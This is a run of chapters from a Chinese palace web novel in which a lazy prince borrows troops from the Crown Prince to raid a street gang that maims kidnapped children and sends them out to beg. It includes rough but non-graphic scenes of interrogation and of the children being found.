《无双小王爷》
第21章:刚要到正戏,你说时间到了
“公子时间差不多了,”面对美人的温柔乡,萧恒刚刚沦陷其中无法自拔。
前戏刚完,打算进入正题探讨一下人生大事。
三福的声音忽然响了起来。
萧恒动作顿时一滞,火热的内心顿时如同被人浇了一盆凉水一般,扭头一脸幽怨的盯着三福。
三福仿佛没有看到萧恒的眼神,继续低声说道:“公子宵禁时间快到了,若是回去晚了被巡城的军士发现。”
“怕是不好。”
萧恒目光直勾勾的看向三福,三福眼底的虚心一闪而过,随即迎上了萧恒的视线毫不避讳。
“真他娘的烦人,”片息时间后,萧恒无奈叹息了一声。
扭头看向坐在一则的苏婉,以及前方还在翩翩起舞的其她女子挥了挥手。
屋内的歌姬见状,立即停了下来退出了房间。
萧恒拿起苏婉的一手,恋恋不舍的道。
“哎,今日时间太紧,只能改日再来寻苏婉姑娘说一些贴心的话了。”
“奴家等着公子,”苏婉几乎是含情脉脉道。
“告辞。”
奴家恭送公子,苏婉起身同样满脸不舍的行礼,直到萧恒的背影消失在眼底。
脸上的表情才瞬间退去,一切恢复正常。
“姑娘此人好生没有礼貌,一看就不是啥好人,”萧恒一走,苏婉的贴身婢女便迅速进入了房中,对萧恒一通吐嘈。
“闭嘴,”苏婉并未附和,反而面色一凝,眼神警告的看着自己的婢女翠儿。
“找死不成?”
“你也是大小在这帝都长大的,难道不知这帝都多是随手就能捏死我等的大人物?”
翠儿并没有意识到事情的严重性,反而噘着嘴反驳道:“姑娘何必这般谨小慎微,你可是这教坊司的花魁,是教坊司的摇钱树,大管事对姑娘你可是稀罕的紧。”
“有大管事罩住,谁敢得罪姑娘你?”
“再者就算是那些朝廷官员见到姑娘你,哪一个不是客客气气的,那像今天这人这般,就差眼睛直接长在姑娘身上了。”
“一点礼义廉耻都不懂,活脱脱的是一个登徒子。”
“翠儿,”苏婉眉头一皱:“既然你丝毫听不进我的话,日后你就别跟着我了。”
一听此话,翠儿这才面色猛地一变,急忙开口:“奴婢知错,还请姑娘莫要赶翠儿走。”
她在苏婉身边,虽说只是一个婢女,但只要苏婉还是花魁一日,她便是花魁的贴身婢女。
打狗还需看主人,她在这教坊司的活,就只是伺候好苏婉便是。
准确的说是,她便只需要每日与苏婉说说话,照顾好自家主子的情绪便好。
其它的粗话累活,自有其它人去做。
而一旦自己脱离了苏婉贴身婢女的这个名头。
这教坊司的管事,可就不会再对他客客气气的了。
迎接她的便是无休止的接客,直到人老珠黄没了客源之后,便会被打发到后院干些洗衣的粗活,榨干最后一丝价值,最后被无情的抛弃。
“砰砰……!”
“苏婉姑娘可得空闲,我与你说几句话,”苏婉还未开口,房门忽然被人敲响,屋外传来一道中年的声音。
“是大管事?”苏婉闻声眉头一挑,急忙挪步打开了房门。
门外站着一个年纪约莫五十来岁,留着胡须,即便年纪有些大了,依旧能看出其年轻时异常英俊的脸庞轮廓。
此人年轻的时候,不知迷死了多少春心荡漾的少女。
此人正是教坊司的大管事,主管教坊司一切大小事务。
苏婉侧身行礼:“奴家苏婉见过大管事。”
“都是一家人,这些虚礼就不必了,”大管事伸手将苏婉搀扶起来,迈步走进了房间。
“这是?”视线落到跪在地上,已经开始落泪的翠儿身上。
苏婉轻叹一声:“无事,这丫头犯了一点小错,奴家正在说教呢。”
“不知大管事今日前来是有何事?”
大管事闻言眉头一皱,并未说为何而来,反而一脸关切道:“可是翠儿没有好生服侍与你,让你不舒服了。”
“你大可与我说,我重新差一个听话的过来便是。”
“姑娘,奴婢知错了,还求奴婢莫要赶奴婢离开,奴婢知错,奴婢知错,”翠儿闻言面色惊恐,急忙叩头,声音颤抖。
苏婉此刻眼底闪过一丝诧异,今日这大管事有些不同啊。
往日对自己虽说也是极好,少有责备之言,但何时像今日这般轻言轻语了。
言语之间竟然还有一丝讨好的意味在其中。
“不必了,”苏婉看了一眼不断叩头的翠儿,最终还是心软道:“不是啥大事,奴家说教两句便是。”
“毕竟翠儿伺候奴家这么多年了,奴家早已习惯了使唤翠儿,若是突然换了人,怕反倒不适。”
“行,你自己看着办就行,”大管事点了点头,无所谓道。
这才开口道:“今日我来是来恭贺苏婉姑娘你的,今日来的那位贵人对你还是清白之身一事甚是满意。”
“从今以后,你的房牌便会被取下,你无需在接其她客人,只需等贵人再来时,你伺候好便可。”
此话一出,苏婉眼底顿时闪过一抹震惊之色。
跪在地上的翠儿,则是瞬间面色煞白,眼底全是浓郁的恐惧。
自己刚才好像还骂那人来着。
结果此刻就连大管事都要称呼对方为贵人,甚至让教坊司不惜撤下苏婉的房牌。
需知苏婉身为花魁,虽每月只挂牌一日,但一日的时间,各种银钱加起来,也是千两以上。
足抵得上寻常教坊司女子一年,甚至是数量的利润。
这可不是一个小数目,大管事此刻竟然说撤下就撤下,连银子都不要了。
苏婉眼底震惊:“今日那位贵人谁?”
大管事摇了摇头:“哪位贵人身份尊贵,你莫要打听,只需要伺候好便是。”
此刻大管事能说,我自己也不知道吗。
自己就看到了一块吓死人的令牌。
“诺,”苏婉闻言不敢再多问,点了点头应了一声。
心中即刻复盘起了,今日自己可有在那位贵人面前,有什么不妥之处。
片刻之后,苏婉心中一松,好像并没有任何不妥,那位贵人一直对自己的表现都极为满意。
直到即将离开时,身后的下人提醒之时,这才面露了一丝不满。
“行,那你好生休息吧,”大管事道了一声,转身离去。
“姑娘,奴婢知错了……奴婢知错了,”大管事离去,翠儿朝苏婉继续叩首,脑袋如同捣蒜,双眼泪花大颗大颗的落下。
“哎,罢了,起来吧,”苏婉见状沉吟片刻:“今日之事对你也是一个教训,希望你好生牢记。”
苏婉终究还需心软了。
“谢姑娘……谢姑娘……!”
第22章:青龙帮
翌日,日上三竿之后,萧恒才慢悠悠的起床。
此刻三福与两名清秀婢女,手中端着盛满温水的铜盆,一块洁白的帕子,一杯漱口的温盐水,早已在床边等候多时。
萧恒慵懒的睁开双眼,对于静候在床边的几人早已习惯。
同时对于此刻日上三竿才起床的萧恒,三福也习惯了。
其实按规矩,像萧恒这等皇家子弟,卯时七刻之前就必须起床了。
若是还未成年,需要到文贤殿读书的话,更早。
卯时四刻就得起床,洗漱更衣,在辰时之前抵达文贤殿规矩坐好。
但近几日的萧恒,就没有一天的起床时间是早已巳时以前的。
对于萧恒赖床一事,起初两日三福还会催促萧恒几句,甚至为了让萧恒起床,还不惜搬出了祖制二字。
但对此萧恒只用了一句话,便彻底将三福给堵住了。
自己好歹是一个病号,为大梁负过伤,为太子流过血,好生休息一下不行吗。
尤其是昨夜萧恒从教坊司回来之后,在教坊司憋了一肚子邪火,最终未曾释放出去。
回府之后翻来覆去折腾到了后半夜才睡去,今日就更加起不来了。
萧恒闭眼在床上蛄蛹了好一会,这才依依不舍的掀开了被子,将身子坐直了起来,双手抬高伸了一个懒腰,打了一个大大的哈欠。
一脸没睡够的表情看着静候在床边的几人。
三福见状无奈出声:“殿下这时辰都快到午时了,若是御史知晓,怕是又得少不了一番弹劾了。”
萧恒翻身下床,接过婢女手中的茶杯,喝了一口温盐水,在口中咕噜咕噜的捣鼓了几下,吐到了痰盂中。
抄起铜盆中的清水洗了一把脸,整个人顿时清醒了不少。
这才无所谓的道:“本王在自己府中睡觉,睡到几时,那群闲着蛋疼的御史是如何知道的?”
“莫非,是你告的密?”
萧恒拿起帕子,擦拭掉脸上的水渍,眼神看着三福随口说道。
三福面色顿时一苦:“殿下可真会说笑,就算给奴婢一万个胆子,奴婢也不敢背叛殿下啊。”
“那不就得了,”一旁婢女开始为萧恒更衣。
萧恒活动了一下脖颈:“本王身上有无任何差事,就算一早就起床了,也不过是找个地方发呆罢了,又无正事可做,起这么早作甚吗?”
“还不如舒舒服服的睡上一觉,睡到饱在起,岂不美哉?”
话落,婢女已经为萧恒穿好了衣物,萧恒大步走出了房间。
“殿下说的好有道理,”三福见自己无法说动萧恒,只能无奈苦笑附和了一声。
此时时间已经过了午时,到了用午膳的时间了。
三福跟在身后低声问道:“殿下此刻已经是午时左右了,可要食用膳食了?”
萧恒闻言轻咳了一声,咽喉有些干痒,昨夜在教坊司喝了不少酒。
那酒度数虽说不高,也不辛辣,但别说后劲还不小。
此刻萧恒并不想吃啥大鱼大肉,就想喝口粥。
抬手说道:“弄点清淡一点的粥吧,再弄点小菜便可。”
显然一切厨房那边都是备好的,萧恒刚吩咐下去。
片刻时间,一碗精致的粥,两碟小菜便出现在了萧恒眼前。
“殿下昨夜乞丐一事,已经有了眉目了,”萧恒刚喝了半碗粥,周仓便来到了萧恒的面前。
“展开说说,”萧恒继续喝着碗里的粥。
周仓立即如实汇报道:“昨夜出现的小乞丐,皆是出自一个叫青龙帮的存在。”
“青龙帮?”萧恒面露一丝疑惑:“天子脚下还有帮派成员?”
周仓立即解释道:“说是青龙帮实则就是一群地痞流氓罢了,平日里靠着收商贩保护费生存,并不是啥大型组织,成不了气候。”
“类似这样的小团体,整个帝都有很多,各种名字听着挺唬人,什么青龙帮,白虎帮,玄武门啥的。”
“但实则全是各街道游手好闲的地痞流氓组织起来的。”
“这些人平日里游手好闲没个正经的营生,也没胆犯啥大事,就算偶尔闹事,也是最多被抓进牢狱十天半个月就会被放出来那种。”
“故而这些人反而成为了各衙门的常客,各地衙门的捕快都认识,也是嫌麻烦,加上时不时的花点小钱孝敬一下。”
“便让这些人形成了一个个小团体,平日里收取一下商贩的保护费,自己呆在自己的地盘上,只要不闹出太大的动静,衙门都是睁一只眼闭一只眼的。”
“毕竟就算真将这群人抓进去了,也是浪费精力,粮食,没几日又得放出来。”
“这对那些地痞流氓而言,早就是家常便饭习以为常了。”
“故而这些在民间很是活跃。”
萧恒闻言眉头一皱,放下了手中碗筷:“先说说青龙帮与那群孩子的问题。”
周仓点头继续道:“根据属下探查的消息,昨夜那群孩子皆是由青龙帮控制。”
“并且昨夜殿下看到的孩子,只占据了青龙帮控制人口的五分之一。”
“目前青龙帮手中共有类似故意致残,放出来乞讨的小孩共有百人左右。”
“明面上年纪最大的十五岁,最小的三岁。”
“目前帝都尚未出现小孩失踪一事的案件,由此推断这些小孩,应该全部来自外地。”
“就这些?”萧恒皱眉。
周仓无奈道:“时间太紧,仅有一夜的时间,并且为了不打草惊蛇,属下又不能命人绑来青龙帮的人进行审讯。”
“故而目前只能得到这些消息。”
说着周仓面色一紧,抱拳道:“还请殿下在多给属下两日时间,属下定能将青龙帮里里外外全部查清。”
“不用了,有这些已经够青龙帮死一百次了,”萧恒眼底冒出一丝杀意。
自己什么身份,单纯的想要弄死一群人渣,何需这般麻烦?
沉吟片刻之后,又道:“其它民间帮派,可还有做此等丧尽天良之事的?”
“尚未发现,”周仓朗声回答:“其余帮派多数除了收取商贩的保护费,也有不少利用收取保护费后,经营其它营生的。”
“亦或者接一些打架斗殴的生意啥的,并没有与青龙帮一般同流合污。”
“另外对于青龙帮故意虐待幼童,让其上街乞讨一事,据属下目前所知,在民间已经不是啥秘密了。”
“为此不少同为帮派的人都是嗤之以鼻的态度,极为不喜青龙帮的做派。”
第23章:找太子借人
萧恒面露一丝不解之色:“此事既然在民间都不是啥秘密了?”
“这么长的时间,官府愣是眼瞎没看到?”
萧恒语气之中的愤怒丝毫不加掩饰。
周仓闻言低着头不敢接话。
太监不得干政,此事虽不是国事,但也牵扯了帝都衙门,身后三福很自然的选择了做一个透明人。
有些事自己身为贴身奴婢可以说,甚至可以态度强硬都无事,但有些事若是自己身为内侍,依旧不知死活的插嘴,就只会死的更快。
“砰,”萧恒心中愤怒,开口吩咐道:“今日白天盯紧一些,务必确认宵禁之后青龙帮都将百多名孩子藏在何地。”
“青龙帮的各重要人员身处何地。”
萧恒恶狠狠的说道:“既然某些青天大老爷装聋作哑,那今晚本王就帮他们治治眼睛耳朵。”
“诺!”
周仓应了一声转身离去。
周仓离去,萧恒用极快的速度吃完了剩余的粥和小菜,并未浪费任何的食物。
随后起身朝府外走去,吩咐道:“备马本王去一趟东宫。”
……
“臣弟参见太子殿下,”半个时辰左右萧恒出现在了东宫。
此刻太子案头上堆满了折子,甚至案头上堆不下了,地上都还有两堆。
见到萧恒的身影,太子抬头顶着两熊猫眼,一脸的幽怨。
据监视萧恒的人来报,此刻站在自己面前的这位弟弟,昨夜出了宫,在街上晃悠了一会之后,便一头钻进了教坊司,直到宵禁时间快到了,这才打道回府。
并且今日一觉睡到日照三竿,可谓是睡足了觉。
而自己呢?
昨日为了让母后欢心,白天赔了大半天,接近天黑才返回东宫,继续处理政务。
一直处理到三更半夜,才累得像一条狗似的上床睡觉。
然后今日卯时刚过便又起床上朝,随后回宫继续处理今日的政务。
此刻太子看着眼前的胞弟,内心有着一股极为不满的感觉。
“皇兄昨夜没有睡好,怎么看上去这般的没有精气神呢?”萧恒看了太子一眼,见对方黑眼圈浓郁,开口问道。
太子没有回答,而是问道:“九弟今日看着面色极佳,神色饱满,昨夜应当是睡的极好吧?”
萧恒没心没肺的点了点头:“皇兄料事如神啊,臣弟昨夜确实睡的极好,一觉睡到今日大亮,才起的床。”
太子翻了一个白眼,可不是吗,都快日上三竿了才起床,谁能睡得过你啊。
但又不能明说,自己知晓一切。
只好转移话题,略带疲惫道:“九弟今日进宫来孤这里所谓何事?”
说到正事,萧恒收起了脸上的笑意,一脸肃然道:“臣弟此番进宫,是想找皇兄借点人马。”
“借人?”太子表情一愣。
“对借人,”萧恒肯定的说道。
齐王府护卫能打的本来就不多,还多在上次野狼谷救驾时伤了,大多至今还在养伤未曾归来。
新的护卫,梁帝也没说重新安排一下。
皇**外开府之后,府中护卫皆是由宫中安排的。
大多是直接从禁军里面抽调一队人马,人数在十到百人不等。
萧恒的护卫便是三十人,全是禁军好手,周仓便是一名禁军百户。
上次野狼谷救驾足足折损过半。
此番要对付青龙帮,萧恒可没有傻了吧唧的就带着齐王府的几个护卫就冲了。
虽说周仓说青龙帮只是一群游手好闲的地痞流氓团体。
但他们既然敢丧心病狂的拐来幼童,再将其致残丢在大街上乞讨,以此来赚取暴利。
这等丧尽天良之辈,萧恒可不认为对方会一听你是某某某就乖乖束手就擒。
须知在大梁拐卖儿童一事可是重罪,对方若是知道自己必死,定会反驳,萧恒可不想,明明可以装拨大的,结果最后变成拉了坨大的。
另外还有一点,此事事关百余名孩童,事发又是京都。
一旦自己亲自出面,必然是瞒不过老爷子的眼的。
太子对自己一直就不信任,就更不用说了。
此案一旦案发便是大案,若是自己不来寻一下太子,找太子借人。
很大程度上,就会给人一种自己在刷政绩的嫌疑,让太子猜忌更重。
于是萧恒索性跑来和太子借人,反正此事是你东宫的人跟着操办的,名义上便是你太子的功劳。
属于妥妥的白送的政绩,同时也是萧恒一次很好的向太子表决心立人设的绝佳选择。
“你借人作甚?”太子疑惑问道。
萧恒对此也丝毫不瞒着,直接如实相告了乞丐、青龙帮一事。
“砰,岂有此理,”太子听完萧恒所说,面色庞然大怒,一巴掌拍在案桌上。
“天子脚下竟然发生了如此恶劣之事,竟然无一人呈报到孤这里,京都府、影刃司等各司衙门都是吃干饭的不成?”
京都府是负责整个京都地界治安的一个衙门。
至于影刃司来头就更大了,属于大梁锦衣卫,皇帝监察百官的一双眼睛。
面对太子的愤怒,萧恒耸了耸肩,拱火道:“是不是吃干饭的不知道,但有一点是可以确认的,眼瞎是板上钉钉了。”
对于萧恒的风凉话,太子没有理睬,沉默片刻之后。
太子目光看向萧恒:“此事你为何不上奏父皇?”
“你若如实上奏父皇,并恳求父皇将此案交由你督办,父皇看在此案是你发现的,定会点头同意。”
“到时你大可放手去查清此案,此案事关百余名儿童,影响极为恶劣,若是你能查清背后主谋,还天下百姓一个公道,此案可是大功一件。”
萧恒闻言一脸嫌弃的摇了摇头:“此事臣弟只是想单纯的杀几个人渣,可没想那么多。”
“正如皇兄所说,若是如实上报父皇,那倒是事情可就多了去了,何时才能弄完,回家躺平?”
“还是直接向皇兄你讨要点人手,臣弟先直接简单粗暴的端了青龙帮,先将那群孩童解救出来。”
“至于剩下的事,就是皇兄你的事了,这样一来到时功劳也是东宫的,皇兄这太子之位就会更加牢靠,臣弟就能更好的躺平了。”
萧恒这话,让太子面露一丝怀疑的表情,看着萧恒丝毫不加掩饰。
那是一点不信啊。
“皇兄你这是什么表情?”
萧恒见状顿时大叫,像是受了什么极大的委屈道:“皇兄怀疑臣弟?”
“若是臣弟有二心,此事不管如何处理,都比来向皇兄你要人来的强吧?”
“臣弟此举不是白白分功吗?”
“臣弟若是有异心,臣弟图啥?”
萧恒表情那叫一个委屈。
第24章:月黑风高夜
“我本将心向明月,奈何明月照沟渠。”
萧恒一脸伤心:“痛心实在是痛心啊,臣弟一心向着皇兄,皇兄却对臣弟百般猜疑。”
“若是皇兄实在对臣弟不放心,猜疑的紧,皇兄大可将臣弟这颗项上人头摘去。”
萧恒说着走向了太子,将头往旁边一歪,抬手朝自己的脖颈处比划道。
“胡闹,”太子表情一怔,随即面露一丝微怒的表情。
“孤何时猜疑你了,之所以让你将此事如实并报父皇。”
“不过是认为你也老大不小了,是时候为父皇分忧,承担一名皇子应当承担的责任了。”
“怎么在你小子心中,孤就是这般一个只会胡乱猜忌疑心之人吗?”
太子反客为主表情严厉的对萧恒训斥道。
一巴掌拍在了案桌上,怒视萧恒。
靠,不愧是梁帝精心培养出来的太子,就这应变能力,简直完美,三言两语错过方便成了自己。
萧恒并没有与太子争执谁对谁错。
而是缩了缩脖子脸上迅速浮现出了一抹讨好的神情。
“哪能啊,皇兄在臣弟心中形象可一直都是大公无私的光辉形象,刚才的话纯属臣弟胡言乱语,皇兄切莫放在心上。”
“哼,”太子冷哼一声。
“皇兄喝茶,”萧恒屁颠屁颠的上前,将案桌上的茶杯拿起,笑嘻嘻的递到了太子面前。
“少整这些有的没的,”太子没好气的瞪了萧恒一眼,将茶杯接过重重的放了回去。
萧恒见状脸上并未露出丝毫惧色,继续一本正经的开口说道。
“正如太子所言,此案若是深挖,其中繁琐之事不知有多少。”
“臣弟性子懒惰,哪里愿意一直被此事缠身。”
“但谁又叫臣弟是这大梁的皇子呢,这等丧尽天良之事,若说臣弟不知自然是无所谓,但现在臣弟既然已经知晓了此事,便也不能做事不管。”
“不然臣弟内心难安,更是枉为大梁皇子。”
“这不思来想去最终决定将此事告知皇兄,由东宫出面解决,臣弟既能除去那群人渣,皇兄也能因此案获得民心,进一步巩固储君之位。”
“而只要皇兄的储君之位牢固,臣弟便能继续安心躺平,逍遥快活,关键还能为百姓主持公道,拔出蛀虫,此乃一举多得之事,何乐而不为呢?”
萧恒一脸认真的说道,太子眼神落到萧恒身上眯了眯眼不知道在想什么。
“你要多少人马?”片刻之后,太子表情恢复正常。
关于乞丐一事,据太子所知确实是昨夜萧恒才遇到的,故而此刻萧恒的话,太子虽未全信,但也知并非全是假话。
“二百吧,区区一个闲散人员的组织,二百精锐,还不是砍瓜切菜一般,”萧恒思索片刻后开口说道。
“对了,再将皇兄你的太子令牌给臣弟一用,”萧恒继续说道。
“孤的令牌?”太子眯眼问道:“你要孤的令牌作甚?”
萧恒一本正经道:“人既然是东宫,若是臣弟在手持皇兄你的太子令牌,岂不是更有威慑性。”
太子闻言表情淡然:“若说威慑性,区区一个太子令牌,还能大的过你一齐王?”
“这不一样好吧,”萧恒认真解释道:“我若只亮出臣弟的身份,百姓便只认臣弟了,百官得知此事之后,也会下意识的认为此案是由臣弟主导的。”
“但若是有了皇兄你的太子令牌,可就不一样了。”
“到时臣弟只需手持你的太子令牌,大喊一声东宫办案闲杂人等闪开,只需一句话,便能点明皇兄你的身份。”
“事后臣弟的身份就算被人发现了,父皇想要论功行赏,也是皇兄你当居首功,臣弟顶多排老二。”
太子表情似笑非笑道:“若是如此岂不是让九弟你受委屈了?”
“不不不,”萧恒脑袋摇的跟个拨浪鼓似的:“臣弟现在要做的便是,昭告天下,臣弟与皇兄你乃是一条心的。”
“俗话说的好兄弟齐心其利断金,让那几位知道有些东西不是他们能惦记的。”
“说得好兄弟齐心其利断金,”太子心情极好的笑了笑。
从案桌一角的盒子中拿出了一块纯金打造的令牌递给了萧恒。
同时朝殿外喊了一声:“项庞云。”
话落,一披甲持刃的中年顿时大步走了进来,朝太子抱拳行礼:“臣在。”
此人正是上次萧恒在紫宸殿外遇到的那个中年,东宫护卫统领项庞云。
太子语气平淡:“点精兵二百随齐王出宫,一切听齐王命令行事。”
项庞云表情微微一怔,又迅速回过神来。
“诺。”
朗声应答,转身离去。
“青龙帮虽说只是一个民间组织,但你也不可大意,需小心应对,莫要伤到自己,”太子对萧恒关切的叮嘱道。
“多谢皇兄关心,”萧恒笑道。
二人寒暄几句之后,萧恒便行礼告辞离开了东宫。
现在自己与太子的关系,还异常的微妙,若是时间相处的太久,俩人都累,还不如直接离开。
时间很快来到了子时,京都宵禁时间。
京都毕竟是大梁都城,权利的中心,属于勋贵的天堂,为了防止有人闹事,子时过后到第二天卯时都属于宵禁时间。
凡宵禁时间段,任何人不准随意在街道上走动。
此刻齐王府前,看着天空厚重的乌云,萧恒咧嘴一笑。
“月黑风高夜正是杀人夜啊,”此刻萧恒的表情妥妥的如同一个大反派。
“行动吧。”
“诺,”项庞云朗声应答。
带领东宫二百披甲锐士朝青龙帮而去。
青龙帮名字听着挺唬人,并且还占据了内城的几条街道,收商贩的保护费。
但其大本营却在外城,毕竟内城的房价实在太高,就青龙帮这等组织压根买不起,就算是租都略显吃力。
不过京都衙门也不会允许像青龙帮这等组织的大本营,公然出现在内城当中。
毕竟内城当中住的全是一群非富即贵的存在,这若是惹了什么祸事,得罪了什么人,衙门也得跟着遭殃。
萧恒骑着身姿高大的战马,周仓带人左右护卫,身后是二百披甲精锐,一路朝外城走去,一眼望去好不威风。
一路上巡城的城防司军士见到这么一支一二百人的披甲队伍,连上前盘问的勇气都没有,急忙退到一边好生站好,生怕冲撞到了对方。
惹祸上身。
第25章:杜二狗
“轰……!”
一声巨响,青龙帮的大门轰然倒塌。
“踏马的何人吃了熊心豹子胆,竟敢来我青龙帮闹事,活腻歪了是吧?”
青龙帮大门倒塌的声音,立即引起了青龙帮成员的注意,片刻时间数个赤裸上身,手持武器口中骂骂咧咧的大汉便快步跑了出来。
“扑通……!”
“哐嘡……!”
数名大汉口中嚣张骂人的话还未说完,便对上了已经冲进院内的带甲之士了。
几人见状表情一怔,下一刻几乎没有丝毫的犹豫,手中武器便已经掉在了地方,一个个动作迅速的趴在了地上。
口中大喊投降二字。
所有动作仿佛排练过无数次了一般。
“砰……!”
对此士卒上前就是一脚,将其踹到一边,厉声喝道:“面向墙角,老实蹲着,谁敢有异动,小心老子手中兵刃不长眼。”
士卒爆喝一身,留下两人看守,其余人继续朝院中各房间冲去。
“好呢好呢,军爷你忙你的,流程我们熟,”被一脚踹到一边,青龙帮的人丝毫不敢面露任何的不满之色。
反而迅速从地上爬了起来点头哈腰的就是一路小跑,跑到了墙根处,面朝墙面双手抱头蹲了下去。
萧恒看着这一幕表情微微一怔:“这动作这么熟练的吗?”
跟在萧恒一侧的一名齐王府护卫铁牛讥讽笑道:“殿下有所不知。”
“打架斗殴对于这些人乃是家常便饭,故而也是衙门的常客。”
“但每次进去又待不了几日便会被放出来,关键这群人惹事挺强,但又都是一群不值钱的小喽啰,本身没啥油水。”
“衙门捕快抓他们,就是纯纯的徒增衙门捕快的工作量。”
“这便导致衙门捕快每次一见到他们,也是气的牙痒痒,于是下手缉拿时往往都会故意下重手,算是给他们一个教训。”
“这一来二去的这群混混也就怕了,每次闹事时一看到衙门捕快,便会立即逃走,若是无法逃走,便会立即丢弃手中武器,原地趴下,以此来减少一些皮肉之苦。”
萧恒闻言表情一乐:“还真是猫有猫道鼠有鼠道,各有各的道啊。”
青龙帮的驻地就是外城一处略显偏僻的二进出小院。
说是驻地,其实也就青龙帮几个重要头目平日里会在这里居住。
其余人大部分宵禁之后,都不会在此处,毕竟地方就这么大,总不能几百号人全部如同堆柴火似的堆在一起。
萧恒站在门口与护卫说句话的功夫,项庞云便带部分人将整个青龙帮驻地中的青龙帮成员全部控制了起来。
另外还有不少人,分散成若干个小队,去了其他地方,对青龙帮的其余人员进行抓捕。
“军爷饶命……军爷饶命,不知小的是何时得罪了各位军爷,还请军爷明示,还求军爷饶小的贱命一条啊。”
此刻一个身材高大肥胖,脸上有条丑陋的疤痕,瞎掉一只眼,连衣物都未穿的男子,被项庞云带人粗暴的丢到了萧恒面前。
项庞云抱拳行礼道:“殿下此人便是青龙帮的帮主,姓名杜二狗,不过因为年轻时因与其他人争抢地盘,被砍瞎了一只眼,自称独龙。”
杜二狗大字不识一个,之所以能当上青龙帮帮主这个位子,全凭一个狠字。
对于殿下二字是什么意思,杜二狗不知,但杜二狗知道眼前这个揍自己就跟揍小鸡崽子的中年军士,是眼前这个青年的下属。
当即连跪带爬的就要朝萧恒爬过去,口中大喊:“贵人饶命啊。”
“砰,老实跪好,”但还未靠近萧恒,就被周仓一脚踹了出去。
一个倒栽葱就结结实实的倒在了地上,全身肥肉都在猛烈颤动。
看着眼前一坨恶心的肥肉,萧恒内心直感觉恶心,皱眉道:“给他寻样物件遮着,看着怪恶心的。”
项庞云一旁站着一名军卒,闻言眼神下意识的就看向了一旁的青龙帮人群,哪里有数个个身上裹着被褥的女子。
都是从青龙帮核心成员房中搜出来的,其中一人便是士卒在杜二狗房间中拽出来的。
“砰,想干啥?”项庞云注意到了属下的视线,抬手就是一巴掌,瞪眼道:“进屋里去找。”
“诺,”士卒顿时缩了缩脖子,扶了一下被打歪的头盔,快跑跑进了房中,片刻时间手中拽着一块桌布跑了出来,满脸嫌弃的丢在了杜二狗身上。
“贵人饶命……贵人饶命啊,”杜二狗躺在地上神色惊恐的大喊道。
萧恒眉头微皱:“聒噪,让他住嘴。”
“诺,”护卫铁牛应了一声,走上前蹲下身躯一拳就锤在了杜二狗腹部。
面色狞笑:“安静,你的聒噪吵到我家王爷了。”
只见杜二狗瞬间两眼凸出,身躯顿时弯成了死虾,如同死狗一般半天没有了动静。
此地并不大,二进出的小院,几十间房间,片刻功夫便全部搜完了。
连同杜二狗在内,共搜出来青龙帮成员三四十人。
其中六人是单独一间房,应当是青龙帮的核心成员。
其余的都是大通铺,还有几个守夜的存在。
另外还有六名女子,那几个单独居住一间房的青龙帮成员,每人被窝里都有一个女子。
不过并没有发现任何乞丐的踪迹。
“说,那些被你们掳来的小孩呢?”士卒搜了两遍,都未曾搜到小孩的踪迹。
但宵禁之前,跟踪之人是亲眼看到不少小孩被带进了这个院子中。
而此时无法找到,只能说明一个问题,这院中有密室,那群可怜的小孩应当全部藏在了其中。
项庞云来到刚缓过劲来的杜二狗身旁,蹭的一声抽出了明晃晃的钢刀,架在了对方脖颈上。
杜二狗全身肥肉一颤,还想装傻充愣:“军……军爷在说什么,小的怎么听不懂啊。”
“听不懂是吧?”项庞云冷笑一声:“没事一会你就听得懂了。”
“将其拖到后院去,”项庞云当即指了两人道:“莫要让此人在此污了殿下的眼。”
“诺,”两名军卒上前一左一右将杜二狗架起就朝后院走去。
“不……你们要干什么,放开我……放开我,”杜二狗眼神惊恐想要挣扎,但根本就无济于事。
“啊~”
被军卒架入后院之后,杜二狗顿时发出了一声凄惨的叫声。
“我说……我全说。”
不到片刻时间,杜二狗便如同一趟死狗一般瘫软在地,并交代了一切。
第26章:萧恒的愤怒
根据杜二狗的交代,很快便找到了地下密室的通道入口。
怪不得士卒搜了两遍都没有寻到,原来地下入口的地点居然在这院中旱厕的一旁,上面放了一个烂掉一半的大陶缸。
将大缸挪开,地底通道便显露出来了。
因为入口在旱厕一旁,再加上青龙帮的人就是一群混混,可没啥讲究卫生一说。
再者青龙帮既然将入口弄在这,显然也是想用污秽之物掩盖入口,让搜索之人下意识地想要绕过此地。
故而此地异常地埋汰,还在老远便能闻到一股令人作恶的刺鼻气味。
萧恒站在老远,眉头紧皱,刺鼻的气味令人作恶,一步都不想靠近。
“你们几个下去,”项庞云观察了一眼萧恒的神色,抬手吩咐道。
“诺!”
被项庞云点名的几人,看着前方地下入口也是面色一僵,随即点头应了一声,捂着鼻子走了过去。
“你们几个过来,将这大缸挪开,”不过几人也没自己动手去挪开大缸,而是抬手指着被控制在一旁的青龙帮成员道。
“真他娘的人才,这办法都能想出来,你们他妈的也不嫌脏,”青龙帮成员搬开破烂的水缸,一名士卒 捏着鼻子骂骂咧咧地踹了其中一人一脚。
接过一旁同袍手中的火把,先将火把探进地道入口,确认没有任何危险之后,这才纵身跳了进去。
士卒进入洞口时间不长,不足十息的时间便再次探出头来。
表情愤怒双眼通红地看着青龙帮成员喊道:“你们这群畜生,老子要杀了你们?”
青龙帮成员此刻一个个死死低着头,大气都不敢喘一下。
“什么情况?”项庞云厉声问道。
士卒双眼通红:“小的斗胆恳请殿下、统领亲自过来看一眼。”
“放肆……!”
项庞云生怕此话惹恼萧恒,立即表情严厉的训斥道。
刚才项庞云可是清晰的看到了萧恒脸上的嫌弃之色。
但萧恒并未有任何不满之色,抬手在项庞云肩上轻轻拍了一下,便抬脚走了过去。
“殿下小心脚下,此处只有梯子,没有阶梯,”周仓快萧恒一步率先进入了洞口,朝萧恒说道。
萧恒来到洞口,还未看清里面是个什么样子,一股浓郁的骚臭味便传入了萧恒的鼻尖。
“殿下里面气味难闻,满是污秽物无下脚之处,要不殿下还是莫要下来了。”
项庞云也在萧恒前面跳进了地下室中,抬头面色难看的对萧恒道。
此刻萧恒面无表情并未搭话,忍着恶臭,直接抬脚踩在了一座简陋的梯子上,顺着梯子下到了底部。
此时数名士卒手持火把,照亮了整个地下室。
不过此刻说此处是地窖还要准确一点。
萧恒目光环顾一圈,瞬间一股强大的怒意便涌上了心头,袖口中双手捏成拳,因为用力关节都微微有些发白。
只见一个不足十平方面积的地方,二三十个脏兮兮的小孩拥挤在里面。
最小的看个子怕是不超过五六岁,最大应当在十五六岁左右,一个比一个瘦。
里面没有被褥,只有一角凌乱地出现了一些干草。
